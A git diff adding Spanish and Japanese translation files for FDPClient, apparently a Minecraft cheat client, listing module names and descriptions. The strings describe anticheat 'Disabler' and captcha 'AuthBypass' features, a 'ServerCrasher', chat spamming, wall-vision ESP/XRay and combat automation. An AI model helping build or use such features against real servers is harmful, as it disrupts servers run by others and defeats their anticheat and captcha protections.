+module.FollowTargetHud.name=FollowTargetHud +module.FollowTargetHud.description=FollowTargetHud + +module.ItemMagnet.name=ItemMagnet +module.ItemMagnet.description=Allows you to pick up items far away by teleporting + +module.KillESP.name=KillESP +module.KillESP.description=KillESP + +module.ItemPhysics.name=ItemPhysics +module.ItemPhysics.description=newton hits + +module.Fisher.name=Fisher +module.Fisher.description=Automatically fishing + +module.SpeedMine.name=SpeedMine +module.SpeedMine.description=Fast mine + +module.PackSpoofer.name=PackSpoofer +module.PackSpoofer.description=Prevents servers from forcing you to download their resource pack + +module.Nuker.name=Nuker +module.Nuker.description=Breaks all blocks around you + +module.GlowESP.name=GlowESP +module.GlowESP.description=Glow in Entitys + +module.SuperheroFX.name=SuperheroFX +module.SuperheroFX.description=Creates comic-like words as flying particles + +module.ESP2D.name=ESP2D +module.ESP2D.description=ESP2D + +module.Radar.name=Radar +module.Radar.description=Look Entity + +module.BowJump.name=BowJump +module.BowJump.description=Allows you to jump further with auto bow shoot. + +module.MultiActions.name=MultiActions +module.MultiActions.description=Allows you to use items while breaking blocks. + +module.ResetVL.name=ResetVL +module.ResetVL.description=Unflags you on servers + +module.Heal.name=Heal +module.Heal.description=Automatically eats Gapple + + + + diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/es-ES/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/es-ES/source.properties new file mode 100644 index 0000000..5bbed79 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/es-ES/source.properties @@ -0,0 +1,565 @@ +# Translated by zEncrypte +ui.altmanager=AltManager +ui.mods=Mods +ui.background=Background +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=Reconectar +ui.changelog=ChangeLog + +ui.back=Atrás +ui.status=Status +ui.on=On +ui.off=Off + +ui.serverSpoof.address=Server Address +ui.proxy.screen=Proxy Manager +ui.proxy.address=Address +ui.proxy.type=Tipo de Proxy + +ui.background.gtype=Tipo +ui.background.gcurrent=Current +ui.background.ganimated=Animación +ui.background.particles=Partículas +ui.background.change=Cambiar wallpaper +ui.background.reset=Reiniciar wallpaper + +ui.disconnect.randomAlt=Random Alt +ui.disconnect.randomOffline=Random Offline + +ui.keybind.title=KeyBind Manager +ui.keybind.select=Seleccione un módulo +ui.keybind.addMacro=Pulse ENTRER para agregar macro. +ui.keybind.add=+ Añadir +ui.keybind.key=Bind %s +ui.keybind.search=Buscar... + +ui.alt.idle=Idle.. +ui.alt.nameChanged=§cTu nick ahora es §8 %s §c. +ui.alt.error=Ocurrió un error\: %s +ui.alt.login=Login +ui.alt.add=Añadir +ui.alt.remove=Eliminar +ui.alt.import=Importar +ui.alt.directLogin=Login Directo +ui.alt.msLogin=Microsoft Login +ui.alt.copy=Copiar +ui.alt.alts=%d Alts +ui.alt.username=§7Usuario\: §a %s +ui.alt.type=§7Tipo\: §a %s +ui.alt.type.premium=Premium +ui.alt.type.cracked=Cracked +ui.alt.removed=La cuenta ha sido removida. +ui.alt.needSelect=Seleccione una cuenta. +ui.alt.copied=Cuenta copiada correctamente. +ui.alt.imported=Cuentas importadas correctamente. +ui.alt.emptyList=La lista está vacía. +ui.alt.loggingIn=Iniciando sesión.. +ui.alt.clipBoardLogin=Login del portapapeles +ui.alt.fillBoth=¡Tienes que rellenar ambos campos\! +ui.alt.readFailed=¡Carácteres no soportado\! +ui.alt.invalidClipData=Carácteres no válidos. (Usa\: E-Mail\:Password) +ui.alt.loginUsername=Usuario / E-Mail +ui.alt.loginPassword=Contraseña +ui.alt.alreadyAdded=La cuenta ya ha sido añadida. +ui.alt.notWorking=Cuenta inválida. +ui.alt.checking=Comprobando.. + +ui.scaffold.blocks=Bloques > %d + +notify.module.title=Módulo +notify.module.enable=%s Activado +notify.module.disable=%s Desactivado + +module.category.combat=Combat +module.category.player=Player +module.category.movement=Movement +module.category.visual=Visual +module.category.client=Client +module.category.world=World +module.category.other=Misc +module.category.exploit=Exploit + +#### A #### + +module.Aimbot.name=Aimbot +module.Aimbot.description=Apunta al enemigo automaticamente + +module.AirJump.name=AirJump +module.AirJump.description=Te permite saltar en el aire + +module.AirLadder.name=AirLadder +module.AirLadder.description=Permite subir por las escaleras sin tocarlas. + +module.Ambience.name=Ambience +module.Ambience.description=Cambia el clima + +module.Animations.name=Animations +module.Animations.description=Cambia la animación de la espada + +module.AntiBlind.name=AntiBlind +module.AntiBlind.description=Cancela el efecto de la ceguera + +module.AntiBot.name=AntiBot +module.AntiBot.description=Evita que ataques a los bots de algunos AntiCheats + +module.AntiDesync.name=AntiDesync +module.AntiDesync.description=Sincroniza los movimientos + +module.AntiStuck.name=AntiStuck +module.AntiStuck.description=Te congela automáticamente al retroceder + +module.AntiStaff.name=AntiStaff +module.AntiStaff.description=Detecta al staff conectado + +module.AntiVanish.name=AntiVanish +module.AntiVanish.description=Revela al staff que se encuentra con el /vanish. + +module.AntiVoid.name=AntiVoid +module.AntiVoid.description=Evita que caigas al vacío. + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Resuelve el captcha de algunos servidores + +modules.AutoBot.name=AutoBot +modules.AutoBot.description=Autopot, autosoup, etc. + +module.AutoClicker.name=AutoClick +module.AutoClicker.description=Clickea automáticamente con dejar pulsado el click + +module.AutoIgnore.name=AutoIgnore +module.AutoIgnore.description=Ignorar spammers + +module.AutoLogin.name=AutoLogin +module.AutoLogin.description=Inicia sesión automáticamente en servidores no premium + +module.AutoPlay.name=AutoPlay +module.AutoPlay.description=Automáticamente se une a una nueva partida cuando termina el juego + +module.AutoReport.name=AutoReport +module.AutoReport.description=Reporta a los jugadores automáticamente + +module.AutoTool.name=AutoTool +module.AutoTool.description=Selecciona automáticamente la herramienta de tu inventario + +module.AutoWeapon.name=AutoWeapon +module.AutoWeapon.description=Selecciona automáticamente el mejor espada de tu hotbar + +module.AntiExploit.name=AntiExploit +module.AntiExploit.description=Evitar que los servidores hagan ciertas cosas perjudiciales + +#### B #### + +module.Blink.name=Blink +module.Blink.description=Suspende todos los paquetes + +module.BlockESP.name=BlockESP +module.BlockESP.description=Te permite ver un bloque seleccionado a través de paredes + +module.BlockOverlay.name=BlockOverlay +module.BlockOverlay.description=Permite cambiar el diseño de un bloque + +module.BoatJump.name=BoatJump +module.BoatJump.description=Te permite impulsarte con un barco + +module.BowAimbot.name=BowAimbot +module.BowAimbot.description=Apunta automáticamente a los jugadores al usar un arco + +module.Breadcrumbs.name=Breadcrumbs +module.Breadcrumbs.description=Deja un rastro detrás de ti + +module.BowJump.name=BowJump +module.BowJump.description=Permite saltar más lejos con el disparo de una flecha + +#### C #### + +module.CameraClip.name=CameraClip +module.CameraClip.description=Te permite ver a través de muros en vista de tercera persona + +module.CapeManager.name=CapeManager +module.CapeManager.description=Gestiona tus capas + +module.Chams.name=Chams +module.Chams.description=Te permite ver objetivos a través de bloques + +module.ChatBypass.name=ChatBypass +module.ChatBypass.description=Sobrepasa los límites del chat + +module.ChestAura.name=ChestAura +module.ChestAura.description=Abre cofres automáticamente mientras tengas activado el killaura + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Abre la ClickGUI + +module.Criticals.name=Criticals +module.Criticals.description=Incrementa el daño por criticos + +module.ComboOneHit.name=ComboOneHit +module.ComboOneHit.description=Reparte automáticamente los golpes en un clic. Sólo funciona si no hay delay al atacar + +module.Crosshair.name=Crosshair +module.Crosshair.description=Cambia el puntero a alguno mejor :3 + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=Lindo sombrero <3 + +#### D #### + +module.Damage.name=Damage +module.Damage.description=Permite hacerte daño + +module.DiscordRPC.name=DiscordRPC +module.DiscordRPC.description=Muestra el RPC en Discord + +module.Disabler.name=Disabler +module.Disabler.description=Desactiva temporal o permanentemente algunos anticheats + +#### E #### + +module.ESP.name=ESP +module.ESP.description=Te permite ver a los objetivos a través de las paredes + +module.Eagle.name=Eagle +module.Eagle.description=Shiftear automaticamente al momento de contruir un puente + +module.ESP2D.name=ESP2D +module.ESP2D.description=ESP2D + +#### F #### + +module.FastBreak.name=FastBreak +module.FastBreak.description=Te permite romper bloques más rápido + +module.FastPlace.name=FastPlace +module.FastPlace.description=Te permite colocar bloques más rápido + +module.FastUse.name=FastUse +module.FastUse.description=Te permite usar/comer más rápido + +module.Fly.name=Fly +module.Fly.description=Te permite volar como un pajaro + +module.FreeCam.name=FreeCam +module.FreeCam.description=Te permite moverse fuera de tu cuerpo + +module.Freeze.name=Freeze +module.Freeze.description=¡Estas congelado! + +module.Fucker.name=Fucker +module.Fucker.description=Destruye los bloques seleccionados a tu alrededor + +module.FakeFPS.name=FakeFPS +module.FakeFPS.description=Spoofea tus FPS + +module.FastBow.name=FastBow +module.FastBow.description=Machine gun pero con flechas + +module.FollowTargetHud.name=FollowTargetHud +module.FollowTargetHud.description=FollowTargetHud + +module.Fisher.name=Fisher +module.Fisher.description=¡A pescar! + +#### G #### + +module.GlowESP.name=GlowESP +module.GlowESP.description=Brillo en las entidades + +module.Glint.name=Glint +module.Glint.description=Personaliza el color de los encantamientos + +module.Gapple.name=Gapple +module.Gapple.description=Come automáticamente las gaps + +module.GhostHand.name=GhostHand +module.GhostHand.description=Te permite agarrar los bloques seleccionados a través de las paredes + +#### H #### + +module.Hotbar.name=Hotbar +module.Hotbar.description=Personaliza la hotbar + +module.HudShadows.name=HudShadows +module.HudShadows.description=Te permite cambiar los ajustes sobre la sombra/brillo + +module.HUD.name=HUD +module.HUD.description=Activa la visibilidad del hud + +module.HackerDetector.name=HackerDetector +module.HackerDetector.description=Detecta hackers xd + +module.HealthWarn.name=HealthWarn +module.HealthWarn.description=Muestra una advertencia cuando estás en salud baja + +module.HighJump.name=HighJump +module.HighJump.description=Te permite saltar más alto + +module.HitBox.name=HitBox +module.HitBox.description=Incrementa/reduce la hitbox del objetivo + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Personaliza tu hud + +module.HurtCam.name=HurtCam +module.HurtCam.description=Cambia/desactiva el efecto de la cámara de daño + +module.HitEffect.name=HitEffect +module.HitEffect.description=Muestra un efecto cuando golpeas a un jugador + + +#### I #### + +module.InfiniteAura.name=InfAura +module.InfiniteAura.description=Golpea a enemigos desde lejos + +module.InvManager.name=InvManager +module.InvManager.description=Ordena/desecha objetos inutiles/utiles de tu inventario + +module.InventoryMove.name=InvMove +module.InventoryMove.description=Te permite caminar mientras estas con el inventario abierto + +module.ItemESP.name=ItemESP +module.ItemESP.description=Te permite ver objetos a través de paredes + +module.ItemPhysics.name=ItemPhysics +module.ItemPhysics.description=¡Gravedad! + +module.ItemMagnet.name=ItemMagnet +module.ItemMagnet.description=Permite recoger objetos lejanos mediante el teletransporte + +#### J #### + +module.Jesus.name=Jesus +module.Jesus.description=Te permite caminar sobre el agua + +#### K #### + +module.Kick.name=Kick +module.Kick.description=Te expulsa de un servidor + +module.KillAura.name=Killaura +module.KillAura.description=Ataca a los enemigos que esten dentro de tu aura + +module.KeyBindManager.name=KeyBindManager +module.KeyBindManager.description=Abre el KeyBindManager + +module.KillInsults.name=KillInsults +module.KillInsults.description=Insulta al jugador que hayas matado + +module.KeyPearl.name=KeyPearl +module.KeyPearl.description=Permite lanzar una perla desde la hotbar pulsando una tecla. (Utilice .bind para este módulo) + +#### L #### + +module.LongJump.name=LongJump +module.LongJump.description=Te permite dar un salto largo + +module.LightningDetect.name=LightningDetect +module.LightningDetect.description=Comprueba el lugar donde cayó el rayo + +#### M #### + +module.MurderDetector.name=MurderDetector +module.MurderDetector.description=Detecta quién es el asesino.. + +module.MidClick.name=MidClick +module.MidClick.description=Te permite añadir a un jugador como amigo dando click con la ruedita del mouse + +module.MultiActions.name=MultiActions +module.MultiActions.description=Permite utilizar objetos mientras se rompen los bloques. + +#### N #### + +module.NameProtect.name=NameProtect +module.NameProtect.description=Cambia los nombres de jugador + +module.Nuker.name=Nuker +module.Nuker.description=Rompe todos los bloques a tu alrededor + +module.NoRender.name=NoRender +module.NoRender.description=Aumenta los FPS disminuyendo*dejando de renderizar las entidades visibles + +module.NoInvClose.name=NoInvClose +module.NoInvClose.description=Evita que el servidor cierre tu Inventario + +module.NoAchievements.name=NoAchievements +module.NoAchievements.description=Desactiva la alerta cuando ganes algún logro + +module.NoSlow.name=NoSlow +module.NoSlow.description=Cancela los efectos de lentitud causados por la arena de las almas o usando algunos objetos + +module.NoSlowBreak.name=NoSlowBreak +module.NoSlowBreak.description=Deshabilita la lentitud de romper un bloque + +module.NoWeb.name=NoWeb +module.NoWeb.description=Evita que te relentizes en las telarañas + +module.NameTags.name=NameTags +module.NameTags.description=Te permite ver los nicks atravez de las paredes o lejos + +module.NoBob.name=NoBob +module.NoBob.description=Deshabilita el efecto bobbing de la vista + +module.NoFOV.name=NoFOV +module.NoFOV.description=Desactiva el FOV causado por el efecto de velocidad, etc + +module.NoFall.name=NoFall +module.NoFall.description=Evita que recibas daño por caída + +module.NoJumpDelay.name=NoJumpDelay +module.NoJumpDelay.description=Elimina el retraso/delay al saltar + +module.NoRotateSet.name=NoRotSet +module.NoRotateSet.description=Evita que el servidor te gire la cabeza + +#### P #### + +module.Parkour.name=Parkour +module.Parkour.description=Salta automáticamente al alcanzar el borde de un bloque + +module.Phase.name=Phase +module.Phase.description=Te permite atravesar bloques + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Modifica tu ping con un valor en especifico + +module.Plugins.name=Plugins +module.Plugins.description=Te permite ver los plugins del servidor + +module.PointerESP.name=PointerESP +module.PointerESP.description=Muestra los jugadores señalados por punteros + +module.PrevFallPos.name=PrevFallPos +module.PrevFallPos.description=xd + +module.Projectiles.name=Projectiles +module.Projectiles.description=Te permite ver donde aterrizarán las flechas + +module.Performance.name=Performance +module.Performance.description=Optimiza el juego + +module.Particles.name=Particles +module.Particles.description=Muestra particulas por cada hit + +module.PackSpoofer.name=PackSpoofer +module.PackSpoofer.description=Evita que los servidores te obliguen a descargar sus texturepacks + +module.PacketDebugger.name=PacketDebugger +module.PacketDebugger.description=Muestra los packets enviados + +#### R #### + +module.Reach.name=Reach +module.Reach.description=Aumenta tu alcance de ataque/construcción + +module.Regen.name=Regen +module.Regen.description=Regenera tu salud mucho más rápido + +module.Rotations.name=Rotations +module.Rotations.description=Ajustes de rotación + +module.Radar.name=Radar +module.Radar.description=Es un radar ;-; + +module.ResetVL.name=ResetVL +module.ResetVL.description=Unflags you on servers + +#### S #### + +module.SafeWalk.name=SafeWalk +module.SafeWalk.description=Evita que te caigas + +module.Scaffold.name=Scaffold +module.Scaffold.description=Coloca bloques automaticamente + +module.Stealer.name=Stealer +module.Stealer.description=Roba automáticamente todos los objetos de un cofre + +module.ServerCrasher.name=ServerCrasher +module.ServerCrasher.description=Te permite crashear algún servidor + +module.Spammer.name=Spammer +module.Spammer.description=Spamea un mensaje en especifico + +module.Speed.name=Speed +module.Speed.description=Te permite moverte más rápido + +module.Sprint.name=Sprint +module.Sprint.description=Correr automaticamente + +module.Step.name=Step +module.Step.description=Te permite subir bloques automaticamente + +module.StorageESP.name=StorageESP +module.StorageESP.description=Te permite ver cofres, dispensadores, etc. A través de paredes + +module.Strafe.name=Strafe +module.Strafe.description=Te permite moverte libremente en medio del aire + +module.SuperKnockback.name=SuperKnockback +module.SuperKnockback.description=Aumenta el empuje repartido a otras entidades + +module.SoundModule.name=SoundModule +module.SoundModule.description=Cambia el sonido de todos los modulos + +module.ServerSwitcher.name=ServerSwitcher +module.ServerSwitcher.description=Cambiar de servidor sin tener que ir al menú principal + +module.Skeletal.name=Skeletal +module.Skeletal.description=Ver a los jugadores como esqueletos + +module.Spider.name=Spider +module.Spider.description=Te hace moverte como una araña + +module.SilentDisconnect.name=SilentDisconnect +module.SilentDisconnect.description=Desconectarse sin mostrar el mensaje de "desconectado" + +module.SpeedMine.name=SpeedMine +module.SpeedMine.description=Incrementa la velocidad al minar + +module.SuperheroFX.name=SuperheroFX +module.SuperheroFX.description=Creates comic-like words as flying particles + +module.SpinBot.name=SpinBot +module.SpinBot.description=¡Gira y gira! + +#### T #### + +module.Target.name=Target +module.Target.description=Ajustes del target + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Ataca alrededor de tu objetivo + +module.Teams.name=Teams +module.Teams.description=Evita que el killaura ataque a tu equipo + +module.Teleport.name=Teleport +module.Teleport.description=Te permite teletransportarte + +module.Timer.name=Timer +module.Timer.description=Cambia/reduce la velocidad del juego + +module.ChatTranslator.name=Traductor +module.ChatTranslator.description=Traduce palabras en el chat + +module.Tracers.name=Tracers +module.Tracers.description=Señala a los objetivos con una linea + +module.TrueSight.name=TrueSight +module.TrueSight.description=Te permite ver entidades invisibles y barreras + +#### V #### + +module.Velocity.name=Velocity +module.Velocity.description=Te permite reducir tu kb + +#### W #### + +module.Wings.name=Wings +module.Wings.description=Alas :3 + +#### X #### + +module.XRay.name=XRay +module.XRay.description=Te permite ver los minerales a través del suelo diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/ja-JA/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/ja-JA/source.properties new file mode 100644 index 0000000..37a622b --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/ja-JA/source.properties @@ -0,0 +1,582 @@ +# Translated by Liuli +ui.altmanager=アカウントマネージャー +ui.mods=Mod +ui.background=背景 +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=再接続 +ui.changelog=アップデート履歴 + +ui.back=戻る +ui.status=ステータス +ui.on=オン +ui.off=オフ + +ui.serverSpoof.address=サーバーアドレス + +ui.proxy.screen=プロキシマネージャー +ui.proxy.address=アドレス +ui.proxy.type=プロキシータイプ + +ui.background.gtype=タイプ +ui.background.gcurrent=現在の +ui.background.ganimated=アニメーション +ui.background.particles=パーティクル +ui.background.change=壁紙を変える +ui.background.reset=壁紙を戻す + +ui.chest.stealing=回収中 +ui.chest.disable=%sを閉じました + +ui.gameover.close=閉じる + +ui.disconnect.randomAlt=ランダムなアカウント +ui.disconnect.randomOffline=ランダムなクラックアカウント + +ui.update.released=FDPClient %s は利用可能です! +ui.update.dismiss=解散 +ui.update.download=ダウンロード + +ui.keybind.title=キーバインドマネージャー +ui.keybind.select=バインドするモジュールを選んでください +ui.keybind.addMacro=追加するマクロを選んでください +ui.keybind.add=+ 追加する +ui.keybind.key=%s キー +ui.keybind.search=検索.. + +ui.alt.idle=放置... +ui.alt.nameChanged=§c現在の名前は §8 %s §cです. +ui.alt.error=エラーが発生しました: %s +ui.alt.login=ログイン +ui.alt.add=追加 +ui.alt.remove=削除 +ui.alt.import=インポート +ui.alt.directLogin=そのままログイン +ui.alt.msLogin=マイクロソフトでログイン +ui.alt.copy=コピー +ui.alt.alts=%d アカウント +ui.alt.username=§7ユーザー: §a %s +ui.alt.type=§7タイプ: §a %s +ui.alt.type.premium=プレミアム +ui.alt.type.cracked=クラックド +ui.alt.removed=アカウントは削除されました。 +ui.alt.needSelect=アカウントを選んでください。 +ui.alt.copied=クリップボードにコピーしました。 +ui.alt.imported=アカウントのインポートに成功しました。 +ui.alt.emptyList=そのリストは空です。 +ui.alt.loggingIn=ログイン中... +ui.alt.clipBoardLogin=クリップボードでログイン +ui.alt.fillBoth=どちらの欄も埋める必要があります! +ui.alt.readFailed=クリップボードの文字が対応していません。 +ui.alt.invalidClipData=クリップボードの読み取りに失敗しました。(メール:パスワード の状態にしてください) +ui.alt.loginUsername=ユーザーネームもしくはメールアドレス +ui.alt.loginPassword=パスワード +ui.alt.alreadyAdded=そのアカウントは既に追加されています。 +ui.alt.notWorking=そのアカウントは使えませんでした。 +ui.alt.checking=確認中... +ui.alt.randomAltField=ランダムアカウントの名前 + +ui.scaffold.blocks=ブロック数 > %d + +notify.module.title=モジュール +notify.module.enable=%s をつけました +notify.module.disable=%s を消しました + +module.category.combat=戦闘 +module.category.player=プレイヤー +module.category.movement=移動 +module.category.visual=レンダー +module.category.client=クライアント +module.category.world=ワールド +module.category.other=その他 +module.category.exploit=開発中 + +module.Aimbot.name=エイムボット +module.Aimbot.description=自動で敵にエイムを合わせます + +module.AirLadder.name=空中はしご +module.AirLadder.description=はしごやつるに触れなくても登れるようになります + +module.Ambience.name=アンビエンス +module.Ambience.description=ワールドの天気を変えます + +module.Animations.name=アニメーション +module.Animations.description=ガード切りとインベントリにアニメーションを付けます + +module.AntiAim.name=エイム無効化 +module.AntiAim.description=CSGOっぽいアンチエイムです + +module.AntiBlind.name=ブラインド無効化 +module.AntiBlind.description=盲目の効果を消します + +module.AntiBot.name=ボット無効化 +module.AntiBot.description=キルオーラがアンチチートのボットに反応するのを防ぎます + +module.AntiDesync.name=非同期無効化 +module.AntiDesync.description=すべての動きを同期します + +module.AntiFireBall.name=ファイアーボール無効化 +module.AntiFireBall.description=ファイアーボールを打ち返すのでそのダメージを受けなくなります + +module.AntiStuck.name=スタック無効化 +module.AntiStuck.description=ロールバック時に一時的にフリーズします + +module.AntiStaff.name=スタッフ無効化 +module.AntiStaff.description=ロビーにいるスタッフを検出します + +module.AntiVanish.name=バニッシュ無効化 +module.AntiVanish.description=バニッシュ状態の敵を表示します + +module.AntiVoid.name=奈落無効化 +module.AntiVoid.description=奈落に落ちたとき意図的にロールバックさせます + +module.AuthBypass.name=バイパス無効化 +module.AuthBypass.description=確認認証を回避します + +module.KillInsults.name=自動煽り +module.KillInsults.description=倒したプレイヤーを煽ります + +module.AutoAdvertise.name=自動宣伝 +module.AutoAdvertise.description=オンにしてください、あなたの助けが必要です。 + +module.AutoArmor.name=自動装備 +module.AutoArmor.description=自動で防具を装備します + +module.AutoBow.name=自動発射 +module.AutoBow.description=弓を自動で発射します + +module.AutoClicker.name=オートクリッカー +module.AutoClicker.description=マウスが押されたときに自動でクリックします + +module.AutoDisable.name=自動無効化 +module.AutoDisable.description=自動でモジュールを無効にします + +module.AutoIgnore.name=自動無視 +module.AutoIgnore.description=スパムを無視します(Redesky専用) + +module.AutoLogin.name=自動ログイン +module.AutoLogin.description=自動でクラックサーバーにログインします + +module.AutoPlay.name=自動プレイ +module.AutoPlay.description=自動で次のマッチに参加します + +module.AutoPot.name=自動ポーション +module.AutoPot.description=自動でポーションを投げます + +module.AutoReport.name=自動レポート +module.AutoReport.description=自動でプレイヤーをレポートします + +module.AutoSoup.name=自動スープ +module.AutoSoup.description=体力が少なくなったら自動でスープを食べます + +module.AutoTool.name=自動道具切り替え +module.AutoTool.description=ブロックを掘るときに最適なツールに持ち替えます + +module.AutoWeapon.name=自動武器 +module.AutoWeapon.description=自動で強い武器に切り替えます + +module.BanChecker.name=バンチェッカー + +module.BetterFPS.name=FPS改善 +module.BetterFPS.description=処理をより高速にします + +module.Blink.name=ブリンク +module.Blink.description=全ての移動パケットを一時停止します + +module.BlockESP.name=ブロックESP +module.BlockESP.description=欲しいブロックを壁越しで見れるようにします + +module.BlockOverlay.name=ブロックオーバーレイ +module.BlockOverlay.description=ブロックオーバーレイのデザインを変更します + +module.BoatJump.name=ボートジャンプ +module.BoatJump.description=ボートを使ってながくジャンプできるようにします + +module.BowAimbot.name=弓エイムボット +module.BowAimbot.description=弓のエイムを自動で行います + +module.Breadcrumbs.name=パンクズ笑 +module.Breadcrumbs.description=通った痕跡を表示します + +module.CameraClip.name=カメラクリップ +module.CameraClip.description=三人称視点で壁の中身を見れるようにします + +module.CapeManager.name=マントマネージャー +module.CapeManager.description=マントを管理します + +module.Chams.name=チャムズ +module.Chams.description=壁越しで敵を視認できるようにします + +module.ChatBypass.name=チャットバイパス +module.ChatBypass.description=チャットのフィルターを回避します + +module.ChatTranslator.name=チャット翻訳 +module.ChatTranslator.description=チャットの言葉を翻訳します + +module.ChestAura.name=チェストオーラ +module.ChestAura.description=周りのチェストを自動で開きます + +module.ChestStealer.name=チェストスティーラー +module.ChestStealer.description=自動でチェストの中身を取ります。 + +module.ClickGUI.name=クリックGUI +module.ClickGUI.description=クリックGUIを開きます + +module.Clip.name=壁抜け +module.Clip.description=壁抜けをできるようにします + +module.Criticals.name=クリティカル +module.Criticals.description=自動でクリティカルヒットを発生させます + +module.DamageParticle.name=ダメージパーティクル +module.DamageParticle.description=敵のダメージを視認できるようにします + +module.DiscordRPC.name=DiscordRPC +module.DiscordRPC.description=Discord上のゲームステータスを表示します + +module.Disabler.name=ディセーブラー +module.Disabler.description=アンチチートの検知を消します + +module.ESP.name=ESP +module.ESP.description=壁越しで敵を視認できるようにします + +module.Eagle.name=イーグル +module.Eagle.description=鷹に変身させます(別名 高速ブリッジ) + +module.Glint.name=グリント +module.Glint.description=エンチャントの色を調整できるようにします + +module.FakeDead.name=フェイクデッド + +module.FastBreak.name=高速破壊 +module.FastBreak.description=ブロックをより高速に破壊できるようにします + +module.FastPlace.name=高速置き +module.FastPlace.description=ブロックをより高速に置けるようにします + +module.FastUse.name=高速使用 +module.FastUse.description=アイテムの使用時間を短縮します + +module.Fly.name=フライ +module.Fly.description=サバイバルモードでも飛べるようになります + +module.FreeCam.name=幽体離脱 +module.FreeCam.description=自分の体から離れて移動できるようにします + +module.Freeze.name=フリーズ +module.Freeze.description=空中で自分の動きを停止させます + +module.Fucker.name=ファッカー +module.Fucker.description=周りにあるブロックを破壊します + +module.Gapple.name=ガップル +module.Gapple.description=自動でガップルを食べます + +module.GhostHand.name=ゴーストハンド +module.GhostHand.description=壁越しにブロックに接触できるようになります + +module.HUD.name=HUD +module.HUD.description=HUDを表示させます + +module.HackerDetector.name=ハッカー検出 +module.HackerDetector.description=Sigmaハッカーを検出します + +module.HealthWarn.name=体力警告 +module.HealthWarn.description=体力が低い時に警告します + +module.HighJump.name=ハイジャンプ +module.HighJump.description=より高く跳べるようになります + +module.HitBox.name=ヒットボックス +module.HitBox.description=敵の当たり判定を拡大させます + +module.HudDesigner.name=Hudデザイナー +module.HudDesigner.description=Hudデザイナーを開きます + +module.HurtCam.name=ハートカム +module.HurtCam.description=攻撃を受けたときのカメラ効果を変えます + +module.InfiniteAura.name=インフィニティ君オーラ +module.InfiniteAura.description=遠い場所から敵を攻撃します + +module.InventoryCleaner.name=インベントリークリーナー +module.InventoryCleaner.description=いらないアイテムを自動で捨てます + +module.InventoryMove.name=インベントリームーブ +module.InventoryMove.description=インベントリーを開きながら歩けるようにします + +module.ItemESP.name=アイテムESP +module.ItemESP.description=壁越しにアイテムを視認できるようにします + +module.KeyBindManager.name=キーバインドマネージャー +module.KeyBindManager.description=キーバインドマネージャーを開きます + +module.Kick.name=キック +module.Kick.description=自分自身をサーバーからキックさせます + +module.KillAura.name=キルオーラ +module.KillAura.description=周りにいる敵を自動で攻撃します + +module.LegitSpoof.name=健全なりすまし +module.LegitSpoof.description=ものになりすまして健全プレイヤーだと思わせます + +module.LightningDetect.name=雷検出 +module.LightningDetect.description=雷の発生を検出します + +module.Jesus.name=ジーザス +module.Jesus.description=水の上を歩けるようにします + +module.LongJump.name=ロングジャンプ +module.LongJump.description=ジャンプの飛距離を伸ばします + +module.MessageSpam.name=メッセージスパム +module.MessageSpam.description=メッセージをスパムします(Redesky専用) + +module.MurderDetector.name=殺人鬼検出 +module.MurderDetector.description=殺人鬼を検出します + +module.MidClick.name=ミッドクリック +module.MidClick.description=右クリックした人をフレンドとして登録します + +module.KeyPearl.name=キーパール +module.KeyPearl.description=キーを推すことによってエンダーパールを投げます(.bindをして使ってください) + +module.NameProtect.name=名前保護 +module.NameProtect.description=クライアント側で名前の表示を変更します + +module.NameTags.name=ネームタグ +module.NameTags.description=ネームタグの大きさを変更することでいつでも見えるようにします + +module.NoBob.name=揺れ削除 +module.NoBob.description=画面の揺れをなくします + +module.NoFOV.name=視野無効か +module.NoFOV.description=スピードポーションなどによる視野を変更をなくします + +module.NoFall.name=ノーフォール +module.NoFall.description=落下ダメージを無効化します + +module.NoJumpDelay.name=ノージャンプディレイ +module.NoJumpDelay.description=ジャンプ間の遅延をなくします + +module.NoRotateSet.name=ノーローテーションセット +module.NoRotateSet.description=サーバーによる頭の回転を防止します + +module.NoSlow.name=ノースロー +module.NoSlow.description=アイテム使用時に足が遅くなるのを防ぎます + +module.NoSlowBreak.name=ノースローブレイク +module.NoSlowBreak.description=使用中のモジュールがブロックの破壊速度に関与する際、それを調整します + +module.NoWeb.name=ノーウェブ +module.NoWeb.description=蜘蛛の巣による移動速度低下を防止します + +module.Parkour.name=パルクール +module.Parkour.description=ブロックの端っこで自動でジャンプします + +module.Phase.name=フェーズ +module.Phase.description=ブロック越しで歩けるようになします + +module.PingSpoof.name=ピングスプーフ +module.PingSpoof.description=回線速度を与えられた値になりすましさせます + +module.Plugins.name=プラグイン +module.Plugins.description=サーバーが使用しているプラグインを表示させます + +module.PointerESP.name=ポインターESP +module.PointerESP.description=クロスヘアーの周りにポインターを表示させます + +module.PrevFallPos.name=落下位置予測 +module.PrevFallPos.description=落下したときどこに落ちるかを予測します + +module.Projectiles.name=プロジェクタイルズ +module.Projectiles.description=矢が描くであろう軌道を表示させます + +module.Reach.name=リーチ +module.Reach.description=リーチを増やします + +module.Regen.name=レジェン +module.Regen.description=普通よりも速くや威力を回復させます + +module.Rotations.name=ローテーション +module.Rotations.description=ローテーションの設定 + +module.SafeWalk.name=セーフウォーク +module.SafeWalk.description=スニークしているときかのように落ちるのを防ぎます + +module.Scaffold.name=スカフォールド +module.Scaffold.description=足元に自動でブロックを設置します + +module.ServerCrasher.name=サーバークラッシャー +module.ServerCrasher.description=現在のサーバーをクラッシュさせます + +module.Spammer.name=スパマー +module.Spammer.description=与えられたメッセージでスパムします + +module.Speed.name=スピード +module.Speed.description=より早く移動できるようにします + +module.Sprint.name=スプリント +module.Sprint.description=自動でダッシュ状態にさせます + +module.Step.name=ステップ +module.Step.description=ブロックを上り上げます + +module.StorageESP.name=ストレージESP 